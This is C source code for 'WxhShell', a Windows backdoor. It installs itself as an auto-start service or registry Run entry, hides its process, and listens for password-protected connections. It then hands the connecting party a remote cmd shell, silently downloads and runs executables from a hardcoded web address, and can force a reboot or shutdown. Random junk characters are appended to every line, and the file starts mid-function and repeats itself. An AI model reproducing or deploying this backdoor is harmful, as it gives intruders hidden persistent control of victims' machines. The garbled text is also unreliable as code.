    if(Boot(SHUTDOWN)) DS|KkTy3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;E ec5w1  
    else { @* il3h,  
    closesocket(wsh); ^}f -!nf[  
    ExitThread(0); fh^lO ^  
    } @xc',I  
    break; :R.&`4=X  
    } #Km:}=  
  // 获取shell {647|j;e  
  case 's': { &F}"Z(B<wK  
    CmdShell(wsh); ^uJU}v:  
    closesocket(wsh); <W]g2>9o9  
    ExitThread(0); yz2Ci0Dwy  
    break; ~ 8aJ S,u  
  } X0*QV- RN  
  // 退出 nL:SG{7  
  case 'x': { Zf7&._y.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fIGFHZy,  
    CloseIt(wsh); e|4&b@  
    break; *._|-L  
    } Dup;e&9g  
  // 离开 [31p&FxM  
  case 'q': { 4d:{HLX,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s_.]4bl.8  
    closesocket(wsh); a?YCn!  
    WSACleanup(); V<HU6w  
    exit(1); 5PcJZi^.l  
    break; tRpEF2  
        } %zU`XVNN+  
  } =uDgzdDyE  
  } <}6{{&mT4  
Jgu94.;5  
  // 提示信息 1c+]gIe  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {YUIMd!Y  
} [7m1Q<  
  } ny-7P;->8  
I]!^;))  
  return; d2s OYCKe  
} g]UBZ33y  
^TB>.c@`*  
// shell模块句柄 Q !qrNa6  
int CmdShell(SOCKET sock) B^D(5  
{ ^KB~*'DN~s  
STARTUPINFO si; ;V<iL?  
ZeroMemory(&si,sizeof(si)); :R):b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pdd/D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #E0t?:t5bk  
PROCESS_INFORMATION ProcessInfo; b%f[p/no  
char cmdline[]="cmd"; kX:tc   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1+`l7'F  
  return 0; ^w~23g.  
} qz4^{  
CXtU"X  
// 自身启动模式 t?nX=i*~]  
int StartFromService(void) |lH;Fq{\  
{ !QmzrX}h  
typedef struct qW 1V85FG  
{ G,=yc@uq  
  DWORD ExitStatus; :ug4g6;#H0  
  DWORD PebBaseAddress; fx8EB8A7K7  
  DWORD AffinityMask; QCPID:  
  DWORD BasePriority; bN^O }[  
  ULONG UniqueProcessId; ENh!N4vbO  
  ULONG InheritedFromUniqueProcessId; @xsCXCRWVV  
}   PROCESS_BASIC_INFORMATION; Z['\61  
M\b")Tu{0  
PROCNTQSIP NtQueryInformationProcess; UueD(T;p  
p#f+P?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AGA`fRVx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =OJ;0 /$6  
aj,)P3DJu  
  HANDLE             hProcess; ~8`:7m?  
  PROCESS_BASIC_INFORMATION pbi; Ut]+k+ 4  
*sQcg8{^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _B2V "p  
  if(NULL == hInst ) return 0; >*twTlb{  
Wl^R8w#Z$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m"c :"I6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TaJB4zB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4(?G6y)  
<b+[<@wS  
  if (!NtQueryInformationProcess) return 0; ,~zj=F  
b=a!j=-D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ea=83 Zj  
  if(!hProcess) return 0; Wi n8LOC  
0%s|Zbo!>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nRhrWS  
q ^rl)  
  CloseHandle(hProcess); k&hc m  
2Ha5yaTL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1gO2C $  
if(hProcess==NULL) return 0; ngulcv  
.'[/|4H  
HMODULE hMod; ,G^[o,hS  
char procName[255]; v}J;ZIb  
unsigned long cbNeeded; i54md$Q^  
^C&+ ~+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z41_oG7   
4"\ yf  
  CloseHandle(hProcess); =j0x.f Se  
wN37zPnV~  
if(strstr(procName,"services")) return 1; // 以服务启动 PBks` |+  
u"$a>S_  
  return 0; // 注册表启动 0BkV/v1Uc  
} PM$Ee #62R  
5CJZw3q  
// 主模块 p@&R0>6j  
int StartWxhshell(LPSTR lpCmdLine) BX;5wKfA  
{ 2^exL h  
  SOCKET wsl; &A!KJ.  
BOOL val=TRUE; BH0!6Oq  
  int port=0; jj\[7 O*  
  struct sockaddr_in door; {F*N=pSq  
;Hm'6TR!  
  if(wscfg.ws_autoins) Install(); rqCa 2  
wCZO9sU:6=  
port=atoi(lpCmdLine); QL"gWr`R  
gvli%9n  
if(port<=0) port=wscfg.ws_port; d&:H&o)T!  
>Pe:I  
  WSADATA data; P#GD?FUc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {7Cx#Ewd  
>e5zrgV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q882B1H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r -f  
  door.sin_family = AF_INET; 0rMqWP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); urY`^lX~  
  door.sin_port = htons(port); o%(bQV-T  
/L) 9tt.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MQcE6)  
closesocket(wsl); w`yx=i#  
return 1; 6X+}>qy  
} 67<CbQZoN3  
J;~|p h  
  if(listen(wsl,2) == INVALID_SOCKET) { (b/d0HCND  
closesocket(wsl); MM#cLw  
return 1; ` DCU>bt&R  
} #dJ 2Q_2  
  Wxhshell(wsl); _=`x])mM  
  WSACleanup(); o0;7b>Tv  
eFQQW`J  
return 0; 3_qdJ<,  
+h[e0J|v{  
} p?rK`$U+J  
;?6>mh(`  
// 以NT服务方式启动 L@|#Bbmx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y{rn-?`{  
{ C@dGWAG  
DWORD   status = 0; F%6*Df;cSe  
  DWORD   specificError = 0xfffffff; #0MK(Ut/  
`6 Y33bQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *M!kA65'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `ENP=kL(+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ./maY1>T  
  serviceStatus.dwWin32ExitCode     = 0; 9EgP9up{6!  
  serviceStatus.dwServiceSpecificExitCode = 0; I{n;4?  
  serviceStatus.dwCheckPoint       = 0; jW5iqU"{*  
  serviceStatus.dwWaitHint       = 0; +BB0wY  
eYP=T+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]UUI~sFE  
  if (hServiceStatusHandle==0) return; 7u%a/<  
IlHY%8F{  
status = GetLastError(); kJ8vKcc  
  if (status!=NO_ERROR) t!l%/$-  
{ :4;S"p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <%!J?  
    serviceStatus.dwCheckPoint       = 0; .:0M+Jr"  
    serviceStatus.dwWaitHint       = 0; 4]6Qr  
    serviceStatus.dwWin32ExitCode     = status; &G{2s J5{  
    serviceStatus.dwServiceSpecificExitCode = specificError; HCc`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EODB`$+  
    return; 8$ DwpJ  
  } *caLN,G  
M'u=H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,RK3eQ  
  serviceStatus.dwCheckPoint       = 0; g3rRhS  
  serviceStatus.dwWaitHint       = 0; ltEF:{mLe#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {'IFWD.5  
} {% F`%_{"  
npj/7nZj  
// 处理NT服务事件,比如:启动、停止 ##~!M(c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fNxw&ke8&  
{ yisLypM*  
switch(fdwControl) w`#fH  
{ nYov>x]  
case SERVICE_CONTROL_STOP: [ _%,6e+  
  serviceStatus.dwWin32ExitCode = 0; 94z8B;+ H]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XM!M%.0WS  
  serviceStatus.dwCheckPoint   = 0; h*'d;_(,  
  serviceStatus.dwWaitHint     = 0; ]31$KBC  
  { F50 JJZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); px [~=$F  
  } )VY10 R)$  
  return; 5+y`P$K@  
case SERVICE_CONTROL_PAUSE: "A7<XN<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0ny{)Sd6um  
  break; VCf|`V~G  
case SERVICE_CONTROL_CONTINUE: K`gc 4:A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l:z };  
  break; FQ##397  
case SERVICE_CONTROL_INTERROGATE: 7:kCb[ji"  
  break; EW;1`x  
}; ;.0LRWcJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )d_U)b7i  
} E!dp~RwZu  
QRagz, c  
// 标准应用程序主函数 wi BuEaUkW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~y@& }  
{ ^?sSx!:bZ  
V g6S/-  
// 获取操作系统版本 !=knppY  
OsIsNt=GetOsVer(); +U=KXv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u7u~  
p|s2G~0<  
  // 从命令行安装 LT& /0  
  if(strpbrk(lpCmdLine,"iI")) Install(); JilKZQmk  
R25-/6_V>  
  // 下载执行文件 }6@%((9E 2  
if(wscfg.ws_downexe) { 4L $};L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fr]Hc+7  
  WinExec(wscfg.ws_filenam,SW_HIDE); /'"R Mq  
} n531rkK-   
qu!<lW~c  
if(!OsIsNt) { *cQz[S@F  
// 如果时win9x,隐藏进程并且设置为注册表启动 'rh\CA/}D  
HideProc(); m>O2t-  
StartWxhshell(lpCmdLine); ,L~snR'w  
} >E~~7Yal  
else g6`.qyVfz'  
  if(StartFromService()) bx]1 4}6  
  // 以服务方式启动 \aB&{`iG  
  StartServiceCtrlDispatcher(DispatchTable); G "c/a8  
else kw;wlFU;  
  // 普通方式启动 (Otur  
  StartWxhshell(lpCmdLine); g!\QIv1D  
W7T" d4  
return 0; _&=9Ke  
} ?9qAe  
]Qc: Zy3  
 X)y*#U  
MKe *f%  
=========================================== I'P.K| "R  
@NBXyC8,Z  
E~qK&7+  
wV?[3bEhM  
+ f6}p  
~(M*6b  
" " _mmR M  
w[|y0jtw  
#include <stdio.h> r*>QT:sB  
#include <string.h> iAg}pwU  
#include <windows.h> NrW[Q 3E$  
#include <winsock2.h> JfR kp  
#include <winsvc.h> cUYX1a)8  
#include <urlmon.h> ?9CIWpGjU  
Mc.^s  
#pragma comment (lib, "Ws2_32.lib") zcZ^s v>  
#pragma comment (lib, "urlmon.lib") z{AM2Z  
"^!j5fZ  
#define MAX_USER   100 // 最大客户端连接数 % ghJ*iHR  
#define BUF_SOCK   200 // sock buffer J511AoQ{R  
#define KEY_BUFF   255 // 输入 buffer "NlRSc#  
$F<%Jl7_Z  
#define REBOOT     0   // 重启 `yy%<&  
#define SHUTDOWN   1   // 关机 <'VA=orD  
/^NJ)9IB  
#define DEF_PORT   5000 // 监听端口 x={kjym L  
+)% ,G@-`  
#define REG_LEN     16   // 注册表键长度 Un~]Q?w  
#define SVC_LEN     80   // NT服务名长度 z)r8?9u  
\gjl^# ;  
// 从dll定义API xMLrLXy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bW} b<(y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ya;@<b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "hJ7 Vv_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rUGZjLIGqz  
-<H ri5  
// wxhshell配置信息 8U8P g2  
struct WSCFG { JB641nv  
  int ws_port;         // 监听端口 L)@`58Eil  
  char ws_passstr[REG_LEN]; // 口令 g6HphRJ5s  
  int ws_autoins;       // 安装标记, 1=yes 0=no T,A!5V>cX  
  char ws_regname[REG_LEN]; // 注册表键名 5R& x{jf$  
  char ws_svcname[REG_LEN]; // 服务名 & %@/Dwr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wbn^R'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6hR^qdHg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "K/[[wX\b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +?ws !LgF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U;^CU!a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j0Id!o  
S5zpUF=  
}; CD*f4I#d  
f6@^ Mg  
// default Wxhshell configuration ]:[)KZ~  
struct WSCFG wscfg={DEF_PORT, ))8Emk^Q{  
    "xuhuanlingzhe", )zo#1$C-  
    1, vsOdp:Yp9!  
    "Wxhshell", \H},ou U  
    "Wxhshell", B4PW4>GF  
            "WxhShell Service", g/fp45s  
    "Wrsky Windows CmdShell Service", ly9x1`?$  
    "Please Input Your Password: ", * [iity  
  1, Krt$=:m|1  
  "http://www.wrsky.com/wxhshell.exe", f>.` xC{  
  "Wxhshell.exe" ^\xCqVk_R  
    }; FF5tPHB  
6:e}v'q{  
// 消息定义模块 z_5rAlnwT.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WV5r$   
char *msg_ws_prompt="\n\r? for help\n\r#>"; |_xZ/DT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]b5%?^Z#  
char *msg_ws_ext="\n\rExit."; m~A[V,os  
char *msg_ws_end="\n\rQuit."; R (+h)#![  
char *msg_ws_boot="\n\rReboot..."; ~xsb5M5  
char *msg_ws_poff="\n\rShutdown..."; 8#NIs@DJ  
char *msg_ws_down="\n\rSave to "; b|\{ !N]  
a/wUeW  
char *msg_ws_err="\n\rErr!"; U}mL, kj"  
char *msg_ws_ok="\n\rOK!"; ~N)( ^ 4  
(MF+/fi  
char ExeFile[MAX_PATH]; @S/g,;7"  
int nUser = 0; 44<9zHK  
HANDLE handles[MAX_USER]; H5F\-&cq  
int OsIsNt; [a#?}((  
}3 fLV  
SERVICE_STATUS       serviceStatus; FU [8:o62  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xg*\j)_}  
~ z-?rW  
// 函数声明 v Ie=wf~D`  
int Install(void); __oY:d(~  
int Uninstall(void); 9b"}CEw  
int DownloadFile(char *sURL, SOCKET wsh); }.fZy&_  
int Boot(int flag); "t3uW6&  
void HideProc(void); tal>b]B;  
int GetOsVer(void); $9LGdKZ_D  
int Wxhshell(SOCKET wsl); B;Q`vKY  
void TalkWithClient(void *cs); f }evw K[S  
int CmdShell(SOCKET sock); F:[Nw#gj/  
int StartFromService(void); %RfY`n  
int StartWxhshell(LPSTR lpCmdLine); P>yG/:W;  
Zi2Eu4p l{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =H.<"7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E< io^  
Mo:!jS~a(Z  
// 数据结构和表定义 E-BOIy,  
SERVICE_TABLE_ENTRY DispatchTable[] = 0XBBA0t q  
{ E.zYi7YUKK  
{wscfg.ws_svcname, NTServiceMain}, Pl>nd)i`  
{NULL, NULL} d=xI   
}; ;L\!g%a  
T_5*iwI  
// 自我安装 ue^?/{OuT  
int Install(void) 42b=z//;  
{ t ?Njw7  
  char svExeFile[MAX_PATH]; y4)ZUv,}  
  HKEY key; HlOAo:8'  
  strcpy(svExeFile,ExeFile); =Ov;'MC  
o}r!qL0c  
// 如果是win9x系统,修改注册表设为自启动 ~x +:44*  
if(!OsIsNt) { eE#81]'6a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cAsSN.HFS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S+Y y  
  RegCloseKey(key); rS,* s'G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (F4dFh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [7SI<xkv  
  RegCloseKey(key); H$=h-  
  return 0; ~]6Oz;~<3  
    } 0IT20.~  
  } 's7SZ$(  
} M rH%hRV6R  
else { qw Kh,[]  
gOES2 4$2  
// 如果是NT以上系统,安装为系统服务 ATXx? b8h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?=|) n%  
if (schSCManager!=0) fxtYo,;$  
{ @'NaA SB  
  SC_HANDLE schService = CreateService =oKPMmpCZ  
  ( <Vr] 2mw  
  schSCManager, lhIr]'?l  
  wscfg.ws_svcname, c!(~BH3p  
  wscfg.ws_svcdisp, {8>_,z^P)  
  SERVICE_ALL_ACCESS, U# FJ8CD&u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LzEE]i  
  SERVICE_AUTO_START, ~3*ZG  
  SERVICE_ERROR_NORMAL, >m;|I/2@  
  svExeFile, JUaKj@a|  
  NULL, r,Y/4(.c7U  
  NULL, &a2V-|G',  
  NULL, T^=Ee?e  
  NULL, %;"B;~  
  NULL b/D9P~cE  
  ); _6QLnr&@j  
  if (schService!=0) J4K|KS7   
  { Is*0?9qU  
  CloseServiceHandle(schService); ;03*qOYc  
  CloseServiceHandle(schSCManager); ]mJAKycE%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W&~iO   
  strcat(svExeFile,wscfg.ws_svcname); 6wvhvMkS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,uqbS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +=29y@c  
  RegCloseKey(key); 61eKGcjs:  
  return 0; NNREt:+kr  
    } g^<q L|  
  } ke;*uS  
  CloseServiceHandle(schSCManager); d= T9mj.@  
} !tFU9Zt  
} V"Y Fu^L  
XR=c 8f  
return 1; E6wST@ r  
} @u'27c_<d3  
e&a[k  
// 自我卸载 >aanLLO  
int Uninstall(void) Spr:K,  
{ exrt|A] _[  
  HKEY key; )1tnZ=&  
;6 &=]I  
if(!OsIsNt) { Y$`hudJ&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dO4U9{+  
  RegDeleteValue(key,wscfg.ws_regname); c_8mQ  
  RegCloseKey(key); ; HLMU36q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <J_,9&\J  
  RegDeleteValue(key,wscfg.ws_regname); 77=y!SDP  
  RegCloseKey(key); C6=;(=?C  
  return 0; efAahH  
  } XtH_+W+O  
} +/_B/[e<>  
} z&HN>7  
else { Zn*CJNB  
$nd-[xV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~PS2[5yo  
if (schSCManager!=0) TXvt0&-  
{ ^>R|R1&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Drq{)#7  
  if (schService!=0) %RD7=Z-z  
  { BQfAen]  
  if(DeleteService(schService)!=0) { Jv{"R!e"P  
  CloseServiceHandle(schService); 0 f#a_  
  CloseServiceHandle(schSCManager); @v-)|8GdY  
  return 0; X=c ,`&^  
  } m=y,_Pz>U  
  CloseServiceHandle(schService); z1KC$~{O  
  } u{lDof>  
  CloseServiceHandle(schSCManager); /*p?UW<*4  
} *$Wx*Jo  
} Kd[`mkmS  
,DUQto  
return 1; A = Az[  
} @.]K6qC  
", Rw%_  
// 从指定url下载文件 MKh L^c-  
int DownloadFile(char *sURL, SOCKET wsh) 0-MasI&b  
{ +mQC:B7>  
  HRESULT hr; G`JwAy r'  
char seps[]= "/"; yLa5tv/  
char *token; "E[*rnsLN  
char *file; n YMf[kW  
char myURL[MAX_PATH]; Cq;K,B9  
char myFILE[MAX_PATH]; '  ^L  
hw.demD  
strcpy(myURL,sURL); hs#s $})}Z  
  token=strtok(myURL,seps); 0~L 8yMM  
  while(token!=NULL) wT AEJ{p  
  { xp;8p94   
    file=token; w#bbm'j7r  
  token=strtok(NULL,seps); .1q~,}toX  
  } 3/|{>7]1  
% |Gzht\  
GetCurrentDirectory(MAX_PATH,myFILE); &l}xBQAL  
strcat(myFILE, "\\"); T7Qd I[K%b  
strcat(myFILE, file); X%\6V;zR#  
  send(wsh,myFILE,strlen(myFILE),0); B46H@]d#7K  
send(wsh,"...",3,0); uXW. (x7"f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i$<v*$.o  
  if(hr==S_OK) U,3K6AZA 7  
return 0; nsw8[pk  
else ~322dG  
return 1; i@?<]n  
D@ 1^:'$V  
} H.G^!0j;  
iW%0pLn  
// 系统电源模块 $A0]v!P~i-  
int Boot(int flag) yT9RNo/w  
{ GN"LU>9|  
  HANDLE hToken; ?@BaBU:o`F  
  TOKEN_PRIVILEGES tkp; FHPZQC8  
M]zNW{Xt  
  if(OsIsNt) { qf&{O:,Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8[P6c;\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l8Iy 03H  
    tkp.PrivilegeCount = 1; 7(iRz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hQLx"R$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f6A['<%o  
if(flag==REBOOT) { F"? *@L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?BZ`mrH^  
  return 0; X1QZEl  
} k#G7`dJl  
else { (dnc7KrM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QL!+.y%  
  return 0; ;xC~{O  
} HQj4h]O#  
  } JWjp<{Q; 1  
  else { +uXnFf d^  
if(flag==REBOOT) { "JGig!9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +GtGyp  
  return 0; ^7<mlr  
} &y wY?ox  
else { gM[ J'DMW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MM$" 6Jor  
  return 0; H LGy"P  
} P[K T  
} $ aBSr1  
jJC( (1|  
return 1; JT_B@TO\  
} 9uoj3Rh<  
4^9_E &Fa  
// win9x进程隐藏模块 yp'>+cLa  
void HideProc(void) A>@e pCD  
{ l+qtA~V&2  
P&,cCR>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V!tBipX%  
  if ( hKernel != NULL ) zg Ti Az  
  { wA&)y>n-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BkqW>[\5xm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]a~LA7VHO  
    FreeLibrary(hKernel); LZ dNG\-  
  } U MIZ:*j  
T<GD!j(  
return; 7OHw/-j\  
} nOzT Hg8  
[)c|oh%  
// 获取操作系统版本 84cH|j`w  
int GetOsVer(void) 4u7>NQUDu  
{ nL~ b   
  OSVERSIONINFO winfo; m(]IxI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \,t<{p_Q  
  GetVersionEx(&winfo); xGk4KcxKs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H43D=N&  
  return 1; /a)=B)NH  
  else Xh!Pg)|E  
  return 0; 'mR+W{r  
} wajhFBJ  
?"u-@E[m  
// 客户端句柄模块 Ux]@p rAq  
int Wxhshell(SOCKET wsl) 1yc@q8  
{ E.9k%%X]  
  SOCKET wsh; &$im^0`r_  
  struct sockaddr_in client; :N:8O^D^<  
  DWORD myID; )S?}huX  
H.K`#W&  
  while(nUser<MAX_USER) w+P^c|  
{ F\72^,0  
  int nSize=sizeof(client);  I ^92b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IbwRb  
  if(wsh==INVALID_SOCKET) return 1; pSUp"wch  
ZK*aVYnu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n/D]r  
if(handles[nUser]==0) 4tTJE<y  
  closesocket(wsh); z|H>jit+  
else N Q=YTRU  
  nUser++; Dw,f~D$+ic  
  } W{aNS@1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c>.Xc[H  
Lcm!e  
  return 0; v21?  
} ~Wv?p4  
!~v>&bCG>9  
// 关闭 socket (P8oXb+%  
void CloseIt(SOCKET wsh) &i RX-)^u  
{ Wno5B/V  
closesocket(wsh); \ } f*   
nUser--; xc?<:h"  
ExitThread(0); rfpxE>_|G  
} E 3.s8}}  
[N)M]u  
// 客户端请求句柄 ?>&Zm$5V  
void TalkWithClient(void *cs) !CKUkoX  
{ h65j,v6B  
rg.if"o  
  SOCKET wsh=(SOCKET)cs; pXa? Q@ 6  
  char pwd[SVC_LEN]; N3) v,S-  
  char cmd[KEY_BUFF]; ~G:7*:[b  
char chr[1]; cw{[B%vw  
int i,j; Y?cw9uYB  
v^'~-^s  
  while (nUser < MAX_USER) { iSHl_/I<  
nrBitu,  
if(wscfg.ws_passstr) { <X*8Xzmv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -}o;Y)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _#B/# ^a  
  //ZeroMemory(pwd,KEY_BUFF); eH{ 9w8~  
      i=0; ;"z>p25=T  
  while(i<SVC_LEN) { 9v0|lS!-  
Nig-D>OS  
  // 设置超时 F)Lbr>H?I  
  fd_set FdRead;  sd%~pY}  
  struct timeval TimeOut; /G;yxdb  
  FD_ZERO(&FdRead); >Z% `&D~u  
  FD_SET(wsh,&FdRead); Y2n*T KXI,  
  TimeOut.tv_sec=8; M='Kjc>e  
  TimeOut.tv_usec=0; `m^OnH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v'tk: Hm1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *2F }e4v  
zdE^v{}|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /+msrrpD  
  pwd=chr[0]; |e\%pfZ   
  if(chr[0]==0xd || chr[0]==0xa) { 6Y^o8R  
  pwd=0; eHR<(8c'f  
  break; pJ[Q.QxU  
  } )VC) }  
  i++; PQ>JoRs  
    } QL#y)G53Q  
cx}-tj"m-  
  // 如果是非法用户,关闭 socket k9n93I|Cm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hLRQ)  
} Z]<_a)>  
<h({+N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,H*3_c&Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #ZA YP  
30@ GFaab  
while(1) { ^ dqEOW  
7_,gAE:kG  
  ZeroMemory(cmd,KEY_BUFF); [@6iStRg7  
}^muAr  
      // 自动支持客户端 telnet标准   z{\.3G  
  j=0; Fm "$W^H  
  while(j<KEY_BUFF) { 8*wI^*Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HdM;c*K  
  cmd[j]=chr[0]; tANG ]  
  if(chr[0]==0xa || chr[0]==0xd) { / <p HDY  
  cmd[j]=0; 0N.*c  
  break; jTnu! H2o  
  } /7^~*  
  j++; H;2pk  
    } (&(f`c@I  
PW}.`  
  // 下载文件 Cp%|Q.?  
  if(strstr(cmd,"http://")) { Ee O{G*pq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W= !f  
  if(DownloadFile(cmd,wsh)) rAKd f??  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hlRE\YO&8R  
  else Y{KJk'xN5W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ju<D7  
  } \IKr+wlN8  
  else { L6^h3*JyD  
cu-WY8n  
    switch(cmd[0]) { Ty=}A MMyE  
  kbY@Y,:w  
  // 帮助 [C$ 0HW  
  case '?': { #_d%hr~d  
